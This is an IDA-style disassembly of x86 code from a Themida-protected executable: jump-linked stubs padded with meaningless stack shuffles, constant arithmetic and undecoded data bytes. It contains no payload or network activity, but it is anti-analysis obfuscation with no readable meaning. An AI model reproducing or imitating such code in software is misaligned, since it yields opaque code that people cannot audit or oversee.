		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_557DCC
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 0C17E582h, 0FFE928E9h, 0E02D40FFh, 130BA06h,	24048BC6h
		dd 0DA6DE956h, 0BB53FFFFh, 4, 0FFCF1BE9h, 40478FFFh, 0FF5EFFE9h
		dd 5EFAE9FFh, 3487FFFFh, 0C4E95C24h, 0F600001Fh, 82E980D1h
		dd 800AC180h, 0C8281FF1h, 0E9240C8Bh, 0FFFF8697h, 1E8FE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55631E:				; CODE XREF: Themida_:0054FED2j
		push	ecx
		push	ebx
		jmp	loc_551589
; ---------------------------------------------------------------------------
		db 58h,	81h, 0EEh
		dd 4, 8B243487h, 34892424h, 738B6824h, 685E5D41h, 27C9h
		dd 0FF6FB7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556345:				; CODE XREF: Themida_:0055264Ej
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_54FED7
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4BD55h, 0EA010000h, 4EC815Dh, 0E9000000h,	0FFFFDEEDh
		dd 59E7EB81h, 0DF31BC3Dh, 512F2D5Bh, 0F8014E40h, 630E68h
		dd 241C8900h, 0EE3CDFBBh, 0E3D14B64h, 3944B850h, 65E9438Dh
		dd 52FFFFF3h, 4BAh, 5AD12900h, 0E9240C87h, 0FFFF5FD2h
; ---------------------------------------------------------------------------

loc_5563C4:				; CODE XREF: Themida_:00551593j
		pop	edi
		pop	ebx
		mov	ebp, 458E8D2Dh
		sub	ebp, ecx
		jmp	loc_554D5F
; ---------------------------------------------------------------------------
		dw 0F792h
		dd 0C28192D0h, 0E50BD92Ch, 0E9D18951h, 0FFFFA7DAh, 7778E9ADh
		dd 8966FFFFh, 2CE92404h, 5FFFFE4h, 5B3E2C03h, 0FFA1E0E9h
		dd 34FF54FFh, 0C4815B24h, 4, 4C381h, 0A5E90000h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556413:				; CODE XREF: Themida_:00551E91j
		push	edi
		push	9F6166Bh
		jmp	loc_557632
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 2A7274EEh, 0CB81D3F7h, 0AB83C2Bh, 0FF8AD6E9h, 240C33FFh
		dd 30FF665Ch, 0FF5DB7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55643D:				; CODE XREF: Themida_:0055611Ej
		shr	edx, 1
		cmp	eax, edx
		jz	loc_54C830
		push	268h
		mov	[esp], ebx
		mov	ebx, 5D9B2A0Ah
		push	54E3h
		mov	[esp], ebx
		mov	ebx, 573E2F76h
		push	edi
		mov	edi, 70136C7Ah
		and	edi, 60130AA1h
		push	eax
		mov	eax, 372B4C61h
		add	edi, eax
		pop	eax
		xor	edi, 54340B52h
		xor	edi, 0FC00494Fh
		xor	ebx, edi
		pop	edi
		neg	ebx
		shr	ebx, 3
		add	ebx, 0FFFFFFFFh
		jmp	loc_557D28
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 24348704h, 17A4E9h, 80C32800h, 0B968DDC3h, 0E900007Ch
		dd 0F78h, 8124148Bh, 4C4h, 0EBE95300h, 52FFFFABh, 1FE95A54h
		dd 33FFFFFEh, 0E95C243Ch, 141Ah, 0CCB60F66h, 168BE950h
		dd 0C3310000h, 43A268h,	198E900h, 1C890000h, 2BB24h, 0C2810000h
		dd 52655A5Bh, 0EA81DA01h, 52655A5Bh, 81241C8Bh,	4C4h, 4EC8100h
		dd 89000000h, 74FF2414h, 8F5A0424h, 248B2404h, 0C5CE924h
		dd 7680000h, 89000020h,	59B82404h, 550BD434h, 0CC137CBDh
		dd 5DE80946h, 516FB935h, 63C8354Dh, 83543F0h, 1417D3Bh
		dd 24048BC3h, 4C481h, 0C3810000h, 2, 31241C33h,	1C33241Ch
		dd 24248B24h, 24048B66h, 8904EC83h, 0E954241Ch,	0FFFFCA65h
; ---------------------------------------------------------------------------

loc_55656C:				; CODE XREF: Themida_:0054E397j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2D9C7361h
		add	ebp, 0CCA1D46Dh
		mov	ecx, ebp
		jmp	loc_54D69F
; ---------------------------------------------------------------------------
		db 0BBh
		dd 38AF78D9h, 0F2E9D3F7h, 66FFFFBBh, 57241C89h,	5C376866h
		dd 81665F66h, 665678F7h, 0FBCDF781h, 5FFB8966h,	0FF66F1E9h
		dd 240489FFh, 0E588D488h, 8324048Bh, 2C8804C4h,	2434FF87h
		dd 4C48359h, 0FF8041E9h, 7A872DFFh, 0E80130C8h,	7A87BB53h
		dd 0D80130C8h, 0FFE1E9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5565E1:				; CODE XREF: Themida_:00557D67j
		xchg	edx, [esp]
		jmp	loc_5547FA
; ---------------------------------------------------------------------------

loc_5565E9:				; CODE XREF: Themida_:00550EAFj
		pop	ebp
		push	ecx
		mov	ecx, 11F27D05h
		add	ecx, 0EE0D82FFh
		add	ebp, 52350457h
		jmp	loc_550DFA
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 31000000h, 8C21E9C2h, 0E505FFFFh, 2D3D8B46h,	0A147EDAh
		dd 0EC83C829h, 243C8904h, 0FF824BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556625:				; CODE XREF: Themida_:0054C97Bj
		pop	eax
		jmp	loc_55245D
; ---------------------------------------------------------------------------
		db 0BAh
		dd 3FC46459h, 19DCE9h, 3C335800h, 243C3124h, 0FFFE82E9h
		dd 66E95BFFh, 8BFFFFA7h, 0C483243Ch, 7ACBE904h,	0FF50FFFFh
		dd 8B042474h, 0C4812404h, 4, 5C24048Fh,	2434FF57h, 5A2434FFh
		dd 81E28952h, 4C2h, 0A389E900h,	489FFFFh, 5B72E924h, 8147FFFFh
		dd 5B99C3C7h, 0E9FD2161h, 0FFFF9BEEh, 57240C8Bh, 0C781E789h
		dd 4, 4BD55h, 0EF010000h, 8D9AE95Dh, 0CB81FFFFh, 39094A18h
		dd 337B68h, 243C8900h, 0DE1B71BFh, 7CEF8159h, 4F52A53Ch
		dd 0FFCC6EE9h, 48F66FFh, 51566624h, 0ADBE6656h,	0C681667Bh
		dd 0F7661FA2h, 0CE8166D6h, 466626BDh, 31E68166h, 0C6816625h
		dd 8966DBD2h, 89665EF1h, 16659CEh, 66022474h, 5AF2E95Eh
		dd 0C89FFFFh, 94CDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55670A:				; CODE XREF: Themida_:0055438Ej
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	edx, edi
		jmp	loc_550DC9
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815A2434h, 4C4h, 1EC66800h, 2C890000h, 68B85024h, 0BD27C059h
		dd 5EC931AAh, 0E958C531h, 0D08h, 4F24C681h, 0C6013FF2h
		dd 4F24EE81h, 0C6813FF2h, 6AF05A34h, 2574C681h,	37686BE3h
		dd 89000034h, 0EC81242Ch, 4, 0BF243C89h, 7BD5455Ah, 0B7E9h
		db 0
; ---------------------------------------------------------------------------

loc_556779:				; CODE XREF: Themida_:00557F04j
		pop	ecx
		and	ebx, ecx
		jmp	loc_55535E
; ---------------------------------------------------------------------------
		db 1, 0D8h, 0E9h
		dd 0FFFFE3F7h, 6EE9DF89h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55678F:				; CODE XREF: Themida_:0054E0E0j
		pop	eax
		jmp	loc_55308B
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 0E9h
		dd 0FFFFB61Dh
; ---------------------------------------------------------------------------

loc_55679C:				; CODE XREF: Themida_:005512ACj
		pop	ecx
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54FF45
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 81h
		dd 4C3h, 4EB8300h, 5C241C87h, 54240C89h, 0DBE95559h, 0D0FFFFC3h
		dd 0CDCD80EDh, 84FAE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5567D6:				; CODE XREF: Themida_:0054F946j
		and	edx, 6182601h
		shl	edx, 1
		sub	edx, 3CAB3A43h
		add	edx, 26BF075Dh
		xor	edx, 0E85DDCADh
		mov	eax, edx
		pop	edx
		and	ebp, eax
		jmp	loc_54CB60
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 241C8904h, 5652E389h, 0F3633BEh,	9344E92Ah
		dd 0E789FFFFh, 4C781h, 0C7810000h, 4, 5C243C87h, 592434FFh
		dd 0E904C483h, 0FFFF991Fh, 941AD9BDh, 5FFD3153h, 0FFD286E9h
		dd 4C483FFh, 4521C381h,	0C3297531h, 0FF7853E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55684D:				; CODE XREF: Themida_:0054D20Fj
		sub	eax, 44F2744Ch
		push	ebx
		push	ecx
		push	60B17CAFh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552F69
; ---------------------------------------------------------------------------
		dd 97EFE958h, 8147FFFFh, 0E07CB6CFh, 0C21FE951h, 8956FFFFh
		dd 4C681E6h, 0E9000000h, 0FFFFFC0Eh, 895FF801h,	0FB2958C7h
		dd 0C3815F5Fh, 2, 741E9h
		db 0
; ---------------------------------------------------------------------------

loc_556899:				; CODE XREF: Themida_:0055313Aj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	edx, 5F0B1412h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 269B5F7Fh
		not	eax
		inc	eax
		dec	eax
		and	eax, 71B252C0h
		add	eax, 41D9563Ch
		xor	eax, 83BC43B9h
		push	edi
		mov	edi, 615868F1h
		inc	edi
		push	0
		sub	[esp], edi
		jmp	loc_552E12
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0FED8F6A2h, 2CC0FEC0h, 6EECE9BEh, 0E981FFFFh, 10DB442Bh
		dd 0C875E5Bh, 0D3665C24h, 0E99C243Ch, 0FFFF58F0h
; ---------------------------------------------------------------------------

loc_556904:				; CODE XREF: Themida_:00555430j
		mov	edx, 4
		jmp	loc_55713C
; ---------------------------------------------------------------------------

loc_55690E:				; CODE XREF: Themida_:00554777j
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_54FCA9
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EB8104E3h, 0C9FCCCh, 1C8BDF01h, 0B5A0E924h,	0FD89FFFFh
		dd 8BEB015Fh, 0C481242Ch, 4, 8B241C87h,	24D32424h, 4EE99C24h
		dd 57FFFFB6h, 322001BFh, 5FFB2938h, 2627EB81h, 0C3017758h
		dd 0FF5F30E9h, 0BF575AFFh, 4, 0FF5AEEE9h, 4C481FFh, 8B000000h
		dd 240C8B01h, 4C481h, 0E9560000h, 0FFFF7FDCh
; ---------------------------------------------------------------------------

loc_556988:				; CODE XREF: Themida_:005537DEj
		push	ebp
		push	ebx
		jmp	loc_55699A
; ---------------------------------------------------------------------------

loc_55698F:				; CODE XREF: Themida_:0055292Aj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55752D
; ---------------------------------------------------------------------------

loc_55699A:				; CODE XREF: Themida_:0055698Aj
		push	93337E9h
		mov	ebx, [esp]
		jmp	loc_5556AC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 0FF583FE9h, 0B283B0FFh, 58C2308Fh, 4FE9CAFEh
		dd 5CFFFF96h, 348BF301h, 7965E924h, 0C7FEFFFFh,	0FF80BAE9h
		dd 5BDF89FFh, 5F4CB958h, 0F9312466h, 8BCF895Fh,	0C483240Ch
		dd 8A01E904h, 0C781FFFFh, 7C8A5B07h, 0FFCED0E9h, 28E957FFh
		dd 56FFFFC3h, 0F9367DBEh, 0B1C68102h, 29503D38h, 0FA895EF7h
		dd 0FFAFBFE9h, 2474FFFFh, 2BE95A04h, 0B8FFFFBDh, 77B13597h
		dd 9AE9C321h, 28FFFFF4h, 0B2C380E3h, 0E924048Bh, 0FFFFFFC1h
		dd 0F583E95Ah, 0E95CFFFFh, 0FFFF6111h, 0FF57ABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556A49:				; CODE XREF: Themida_:00552BCBj
		or	bl, 3Ch
		sub	bl, 0Ch
		mov	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		add	dh, ch
		jmp	loc_54F144
; ---------------------------------------------------------------------------
		dw 0A0BAh
		dd 0B933304Eh, 10420E3Eh, 148BD101h, 4C48324h, 0BEF1E951h
		dd 0EA29FFFFh, 1C57215Dh, 0FF2434FFh, 835A2434h, 0EC8304C4h
		dd 24348904h, 0FF58B2E9h, 40E950FFh, 29000019h,	7AB3E9D8h
		dd 0F681FFFFh, 1B87EEA5h, 21EAC181h, 0A6E9340Ch, 5CFFFFF2h
		dd 3FC380h, 3FEB80C3h, 0E937C380h, 0FFFFBC7Ch, 0E8C07BB0h
		dd 0B3FFE907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556ACA:				; CODE XREF: Themida_:0054EAA4j
		pop	edi
		jmp	loc_554D92
; ---------------------------------------------------------------------------

loc_556AD0:				; CODE XREF: Themida_:0054D2C6j
		mov	esi, edi
		jmp	loc_5507B2
; ---------------------------------------------------------------------------
		db 1
		dd 0DD015AD5h, 4A84ED81h, 875B769Ah, 665C242Ch,	0E99CC885h
		dd 0FFFF5704h
; ---------------------------------------------------------------------------

loc_556AF0:				; CODE XREF: Themida_:0055285Aj
		sub	eax, 59785B51h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		jmp	loc_5522AC
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 3C64494Bh, 34FFD821h, 0C4815B24h, 4,	68429C05h, 0BBBD5538h
		dd 81031F3Dh, 0B66154E5h, 0DBBB5358h, 0E9E70BA4h, 0FFFF66DCh
		dd 335BD901h, 0C31240Ch, 0F8EBE924h, 0F66FFFFh,	9C2404B3h
		dd 0FF56A3E9h, 0EC8155FFh, 4, 55241C89h, 0FFAFBEE9h, 8BFE01FFh
		dd 0AAE9243Ch
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556B6B:				; CODE XREF: Themida_:0054E517j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_550A44
; ---------------------------------------------------------------------------

loc_556B79:				; CODE XREF: Themida_:00552E19j
		add	edx, edi
		pop	edi
		add	edx, eax
		sub	edx, 7C523429h
		pop	eax
		add	edx, eax
		push	esi
		mov	esi, 11451505h
		add	edx, 36383397h
		sub	edx, esi
		sub	edx, 36383397h
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 5F0B1412h
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		dw 0DEB7h
		dd 0F780CFFEh, 5BFC30F0h, 58E328h, 1246E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556BCE:				; CODE XREF: Themida_:005531FDj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 23CDFACh
		xor	edx, ebx
		jmp	loc_54CC69
; ---------------------------------------------------------------------------

loc_556BE1:				; CODE XREF: Themida_:00557DCDj
		mov	esi, esp
		push	edx
		mov	edx, 1C6C3492h
		sub	edx, 1C6C348Eh
		jmp	loc_553F24
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 2C890000h, 4EC8124h, 89000000h, 0BD552424h
		dd 4, 4246C01h,	0FF5A52E9h, 2BAFFh, 0D3010000h,	0AD2FE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556C26:				; CODE XREF: Themida_:0054E2F1j
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		or	eax, eax
		jz	loc_5558E3
		push	eax
		mov	eax, 1Ch
		push	edi
		jmp	loc_555D97
; ---------------------------------------------------------------------------
		dd 0F22B75B9h, 55E9814Eh, 0E9D0D20Dh, 0FFFFE471h, 4EC8351h
		dd 81242489h, 42404h, 81590000h, 4C1h, 4C18300h, 5C240C87h
		dd 0E91C5709h, 0FFFFD52Bh, 48BC621h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_557A6B
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 0AC539A8Ah, 0FFD2B8E9h, 2BBFFh, 0DF010000h, 81241C8Bh
		dd 4C4h, 7E1EE900h, 5F5FFFFFh, 8B240C87h, 3CD32424h, 35E99C24h
		dd 5EFFFF55h, 0D9CE8435h, 58C101A4h, 242C8151h,	36BF14AEh
		dd 0AEC7815Fh, 8B36BF14h, 0C481240Ch, 4, 5D0968h, 242C8900h
		dd 697899BDh, 0E9EF2907h, 0FFFFC4FDh, 0CC5ABC68h, 0EA815A1Dh
		dd 0F5128A2h, 6654EA81h, 0C2813EA9h, 8DD297A4h,	148BD789h
		dd 4C48324h, 0FFFB51E9h, 4EE81FFh, 87000000h, 895C2434h
		dd 0E4E9240Ch, 2DFFFF82h, 4EF86C6Bh, 9A601C05h,	0E9D0016Fh
		dd 95Ch
; ---------------------------------------------------------------------------

loc_556D3C:				; CODE XREF: Themida_:00555DC6j
		add	eax, 2F9C0D72h
		push	edi
		mov	edi, 20BB3436h
		add	eax, edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_551481
; ---------------------------------------------------------------------------

loc_556D58:				; CODE XREF: Themida_:0055829Cj
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------

loc_556D5D:				; CODE XREF: Themida_:0054CDE3j
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	ecx, 6
		push	ebx
		sub	dword ptr [esp], 5AB96792h
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_54D87B
; ---------------------------------------------------------------------------
		db 80h,	0C5h, 78h
		dd 0FF92E3E9h, 0E7C381FFh, 816E4334h, 38CADAF3h, 8BDE3163h
		dd 0C481241Ch, 4, 0FFB72DE9h, 0E7E781FFh, 0D135234Fh, 0ABBAE9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556DBE:				; CODE XREF: Themida_:00553D11j
		sub	bx, 0A8Ah
		add	bx, ax
		push	edi
		jmp	loc_5554F9
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 4185866h,	0E4E99C24h, 0B9FFFF85h,	208949C3h
		dd 0C8BCA21h, 4C48124h,	81000000h, 77B641C2h, 5AD101DFh
		dd 4BB53h, 0D9010000h, 240C335Bh, 33240C31h, 33E9240Ch
		dd 81FFFFB4h, 0FFFFFFC3h, 0F7DBF7FFh, 0F7F381D3h, 10A2C02h
		dd 70EDE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556E22:				; CODE XREF: Themida_:0055481Aj
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 26B848DFh
		jmp	loc_54D0A4
; ---------------------------------------------------------------------------
		db 89h
		dd 0E2892414h, 13E95651h, 5CFFFFC6h, 89240C89h,	0B30EE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556E4A:				; CODE XREF: Themida_:00551C8Aj
		add	esp, 4
		jmp	loc_54FEF4
; ---------------------------------------------------------------------------
		dw 2958h
		dd 81EF81EFh, 5D7FF63Bh, 0C0B60F58h, 0E98734FFh, 0FFFFD10Dh
		dd 32AEBB53h, 0EB810254h, 1D0E3253h, 7A42CB81h,	814B36B3h
		dd 0D541CBC3h, 75F3813Fh, 1108BF2h, 0C15BE9D8h,	0EE87FFFFh
		dd 0D95C681h, 4686166h,	0E9000039h, 0FFFFCE03h,	80BEC580h
		dd 0EDC0F7CDh, 2CC58004h, 395D68h, 24048900h, 34348EB0h
		dd 4924C90Ch, 0DFE9BA2Ch
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556EC3:				; CODE XREF: Themida_:00557E36j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		pop	eax
		push	esi
		push	4266h
		mov	[esp], edx
		push	9B440A9h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shl	edx, 2
		neg	edx
		push	ebp
		jmp	loc_54DB23
; ---------------------------------------------------------------------------
		dw 0C328h
		dd 0C0B60F58h, 0FF8734FFh, 68582434h, 11A4h, 0E9240C89h
		dd 0FFFF9630h, 1485EA81h, 59E95C19h, 83FFFFBBh,	48904ECh
		dd 244BB024h, 4E0C0EBh,	402E0C0h, 0E9C688BBh, 0FFFFD391h
		dd 4EC81h, 34890000h, 68E68924h, 0FAh, 0BB241C89h, 4, 0FFDBFEE9h
		dd 52A6E9FFh, 2D5BFFFFh, 0A96B6A43h, 0E958C389h, 0FFFFCA81h
		dd 54242C89h, 4C5815Dh,	52000000h, 4BAh, 65ED8100h, 0E9781E09h
		dd 0B3Ah
; ---------------------------------------------------------------------------

loc_556F78:				; CODE XREF: Themida_:00552DE8j
		mov	ebp, 77572DAEh
		add	ecx, ebp
		jmp	loc_54CFEA
; ---------------------------------------------------------------------------
		dd 0E904EF83h, 0FFFF68DBh, 40F68ACh, 14890000h,	9FE95124h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	[edi+1Ch], eax
		jmp	loc_553B26
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4892424h, 40478F24h,	0FF2434FFh, 9AE92434h, 81FFFFEEh
		dd 0D8D551C1h, 59CE8980h, 0FF6784E9h, 521AE9FFh, 0FF53FFFFh
		dd 5B042474h, 5C24048Fh, 24148B66h, 18C968h, 24048900h
		dd 0BF57E089h, 65F7439Fh, 0CF81D7F7h, 2EFE08FEh, 0FFCC59E9h
		dd 0B95155FFh, 76E4E04h, 0B7BD5549h, 0E930A71Bh, 0FFFFBB7Bh
; ---------------------------------------------------------------------------

loc_557018:				; CODE XREF: Themida_:0054ECF6j
		add	bl, 24h
		pop	ecx
		jmp	loc_54ECFB
; ---------------------------------------------------------------------------

loc_557021:				; CODE XREF: Themida_:00553491j
		mov	ebx, 1D7C1794h
		add	dword ptr [esp+4], 3F252A42h
		sub	[esp+4], ebx
		push	346Ah
		mov	[esp], edx
		mov	edx, 3F252A42h
		jmp	loc_550A60
; ---------------------------------------------------------------------------
		dd 527438B9h, 4EC18152h, 0E946D05Ah, 0FFFF8DC7h, 241C875Fh
		dd 9A89E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55705E:				; CODE XREF: Themida_:00553D4Aj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_552EC3
; ---------------------------------------------------------------------------
		dd 0E92404FFh, 0FFFFCEF3h, 5A2434FFh, 5204C483h, 0FF8144E9h
		dd 24048FFFh, 0FFCDA8E9h, 0B45053FFh, 24846802h, 14890000h
		dd 0E9E28824h, 0FFFFA39Fh, 37F968h, 0BECCE900h,	0C830FFFFh
		dd 0E9240C8Bh, 0FFFFF1ACh, 8904EC83h, 48E92404h, 81FFFF69h
		dd 4C4h, 0D738E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5570CE:				; CODE XREF: Themida_:00552546j
		xor	eax, ecx
		jmp	loc_5527C2
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 0AAh
		dd 66FFFFA7h, 5624048Bh, 0FF6635E9h, 243C8BFFh,	0FF8D59E9h
		dd 4EC81FFh, 89000000h,	0EC832414h, 0B2BFE904h,	8B66FFFFh
		dd 64E9240Ch, 83FFFFB7h, 0C7E904C4h, 89FFFFF3h,	8C68242Ch
		dd 89000011h, 4832424h,	2C8B0424h, 4C48324h, 4C581h, 0C5830000h
		dd 242C3302h, 33242C31h, 0E95C242Ch, 0FFFFBD49h
; ---------------------------------------------------------------------------

loc_55713C:				; CODE XREF: Themida_:00556909j
		add	ebx, 5A085465h
		add	ebx, edx
		sub	ebx, 5A085465h
		pop	edx
		xchg	ebx, [esp]
		pop	esp

loc_55714F:				; CODE XREF: Themida_:00554FBDj
		push	edx
		push	2688h
		mov	[esp], ebx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, edx
		jmp	loc_55848F
; ---------------------------------------------------------------------------
		db 0BAh, 0Ah, 32h
		dd 0E2C13233h, 0C578E906h, 0F66FFFFh, 9C2404A3h, 0FF5073E9h
		dd 5BFE20FFh, 0FF8CC8E9h, 0B068ACFFh, 89000056h, 0EC83241Ch
		dd 81FDE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55719A:				; CODE XREF: Themida_:00550370j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	437h
		mov	[esp], ebx
		push	esp
		jmp	loc_5514DD
; ---------------------------------------------------------------------------

loc_5571B5:				; CODE XREF: Themida_:0054EEDFj
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_551186
; ---------------------------------------------------------------------------
		dd 68241489h, 3B7F31F8h, 77E94A5Ah
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5571D7:				; CODE XREF: Themida_:0054E16Cj
		mov	[esp], edx
		mov	edx, 63A971BBh
		mov	esi, 3AF27192h
		dec	esi
		push	ecx
		push	edx
		mov	edx, 53F50A2Dh
		sub	edx, 24035167h
		dec	edx
		jmp	loc_551919
; ---------------------------------------------------------------------------
		dd 1A1FE781h, 6BE97C4Dh
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557203:				; CODE XREF: Themida_:0054D880j
		mov	[esp], esi
		jmp	loc_55128A
; ---------------------------------------------------------------------------
		db 50h
		dd 0E22086B4h, 99EA8058h, 807AB450h, 0E95334E4h, 0FFFFF99Ah
		dd 2424D25Ch, 4FCAE99Ch, 0FA89FFFFh, 0E9D7015Fh, 0FFFF9C3Dh
		dd 5576CB81h, 0EB812638h, 373E5FFBh, 0E95BDA01h, 0FFFFE260h
		dd 0E70869BDh, 5EF53156h, 0D6F7F587h, 0C581F587h, 745C4383h
		dd 5C1684Dh, 14890000h,	6BAABA24h, 0D2F748F5h, 14E2814Ah
		dd 81671413h, 984BFEC2h, 5AD5010Fh, 295DE801h, 3C382DD8h
		dd 6D686EF0h, 0E9000064h, 0FFFFB1F0h
; ---------------------------------------------------------------------------

loc_557290:				; CODE XREF: Themida_:0055838Aj
		add	edx, 3E98CB78h
		sub	eax, edx
		jmp	loc_54DA21
; ---------------------------------------------------------------------------
		db 0B3h, 0D9h, 0E9h
		dd 0FFFF6403h, 0FF4F4BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5572A9:				; CODE XREF: Themida_:0054FC08j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	edi
		mov	edi, 742471D2h
		push	eax
		mov	eax, 5E75052Dh
		not	eax
		xor	eax, 61EF18AEh
		shl	eax, 5
		xor	eax, 8767C1B2h
		add	edi, eax
		pop	eax
		add	edx, 63966933h
		jmp	loc_554045
; ---------------------------------------------------------------------------
		db 59h,	29h, 0F3h
		dd 0FF8F1BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5572F1:				; CODE XREF: Themida_:0054F2D8j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54F4D5
; ---------------------------------------------------------------------------
		dd 0A1EE8146h, 0E907AB44h, 0FFFF575Dh, 58F2815Ah, 81517257h
		dd 8049FEF2h, 5AD38944h, 34FFD829h, 0C4815B24h,	4, 8439C12Dh
		dd 5D80119h, 198439C1h,	0F0A68h, 24148900h, 9051E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55733E:				; CODE XREF: Themida_:00552135j
		mov	esp, [esp]
		push	ecx
		jmp	loc_54F2D2
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 1468h, 89240C89h,	4C181E1h, 68000000h, 5E64h
		dd 83243489h, 1C8904ECh, 168C6824h, 575B0E4Ah, 0B5E976BFh
		dd 5FFB01F1h, 4C0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55737D:				; CODE XREF: Themida_:00550DE5j
		push	edx
		jmp	loc_552729
; ---------------------------------------------------------------------------
		db 53h
		dd 0FC88EDB7h, 7E7EE95Bh, 0EE81FFFFh, 0F8A2B96h, 0E924048Bh
		dd 0FFFF948Bh, 4C481h, 0C2E90000h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5573A7:				; CODE XREF: Themida_:0054F17Ej
		dec	edi
		xor	edi, 7FF7760Eh
		add	edi, 9AE54690h
		jmp	loc_554148
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0EAh
		dd 7EE67267h, 0FF7D88E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5573C5:				; CODE XREF: Themida_:0055079Bj
		and	edx, 439D0660h
		not	edx
		add	edx, 0B30236Bh
		sub	edx, 54077DCBh
		sub	edx, 480B932Bh
		xor	eax, edx
		jmp	loc_5515CD
; ---------------------------------------------------------------------------
